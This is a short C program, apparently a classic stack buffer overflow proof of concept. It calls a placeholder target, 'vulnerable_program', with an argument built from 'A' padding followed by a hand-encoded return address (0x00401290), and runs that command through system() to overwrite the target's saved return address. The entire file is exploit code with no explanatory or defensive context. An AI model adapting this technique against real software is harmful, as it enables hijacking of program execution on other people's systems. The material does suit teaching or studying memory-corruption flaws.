#include "stdio.h"

main()
{
      char workbuffer[200];
      char tempbuf[4];
      strcpy(workbuffer,"vulnerable_program AAAAAAAAAAAAAAAAAAAAAAAAAAAA");
      tempbuf[0]=0x90;
      tempbuf[1]=0x12;
      tempbuf[2]=0x40;
      tempbuf[3]=0;
      strcat (workbuffer,tempbuf);
      system(workbuffer);
      return 0;
}